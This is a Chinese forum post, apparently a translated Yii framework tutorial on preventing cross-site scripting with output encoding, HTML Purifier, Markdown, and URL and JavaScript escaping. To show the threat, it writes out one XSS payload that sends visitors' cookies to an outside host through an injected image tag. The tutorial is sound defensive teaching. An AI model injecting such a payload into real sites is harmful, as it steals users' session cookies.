写出安全的YII WEB应用(二) [ 技术分享 ]
接着上篇继续翻译,上篇地址
跨站脚本攻击XSS原理
如果用户的输入的信息没有过滤与验证,就后台就直接交此信息输出到浏览器,这可能被恶意用户利用,从而进行XSS攻击。比如,用户输入JavaScript代码,而其它用户又浏览了此用户的信息,则可能造成用户的信息被窃取。典型案例是盗取用户的cookie信息。
示例:
<?php echo $user->name ?>的简历
//未过滤的用户输出数据:
<a href="/posts?name=<?php echo $user->login ?>"title='<?php echo $user->name ?>'>查看我的档案</a>
为什么上面示例有案例隐患呢?如果上例中$user->name是如下所示的代码:
张三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>
那么当其它用户访问张三的档案的时候,将会从其它服务器加载一张图片,而此加载图片的请求携带着访问者的cookies信息。这就是XSS攻击基本的原理。
PHP提供htmlspecialchars函数将一些预定义的字符转(如: &,",’,<,>)换为 HTML 实体。上面示例中还有超链接,所以htmlspecialchars结合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一起使用。
YII如何防范普通文本
用CHtml::encode()输出普通文本。示例:
<?php echo CHtml::encode($user->name) ?>
简历CHtml::encode()封装了htmlspecialchars函数,默认文本编码是YII应用的编码;所以如果需要输出的文本的编码不是UTF-8,就需要在YII的配置文件(main.php)里设置charset;
有时需要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML标签。遇到这种情况,使用strip_tags后,切记要使用CHtml::encode();不要单独使用strip_tages()。
富文本
如果浏览器需要显示用户输入的HMTL代码,后台应该在保存用户输入数据前过滤。有几个PHP库解决这个问题,其中著名的如 Html Purifier 。Yii已经将Html Purifier封装成CHtmlPurifier。 示例:
<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
'HTML.Allowed' => 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
// 危险的输出
//echo "<li>" . $comment->text . "</li>\n";
// 安全的输出
echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>
一般使用富文本编辑器(如:TinyMCE,CkEditor)来满足用户输入HTML的需求。但Markdown或wiki syntaxt语言是个更好的选择。 示例:
<div class="comment">
<?php
$md = new CMarkdownParser();
echo "<div>" . $md->transform($comment) . "</div>";
?>
</div>
URL
使用rawUrlEncode()转义网址中的URL部分,urlEncode()转义网址中的网址中的参数部分。 示例
<script></script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">转义网址中url部分</a>
<a href="/?param=<?php echo urlEncode($param) ?>">转义url的参数部分</a>
<a href="<?php echo CHtml::encode($url . "¶m=" . urlEncode($param)) ?>">转义整个网址</a>
CHtml::encode()不能单独在这里使用,如$query = 'xxx.com?x="N & B"',因为CHtml::encode()会将’&’,转义成’&’。
CSS
使用Html Purifier处理CSS;(详见上章富文本的处理)。
JavaScript
使用CJavaScript的静态方法,对JS变量作转义输出; 示例:
<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
var messages = " . CJavaScript::encode($messages) . ";
var title = '" . CJavaScript::quote($title) . "';
// ...
}
");
如果不需要YII转义JS,可以使用js:前缀。如下所示:
<?php
$this->widget(
'zii.widgets.jui.CJuiAutoComplete',
array(
'name' => 'field_name', // 默认会使用CJavaScript::quote 转义变量
'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代码前加“js:”前缀
yedong0839 成都
最后登录:2019-07-16
在线时长:27小时57分
- 粉丝14
- 金钱1980
- 威望0
- 积分2250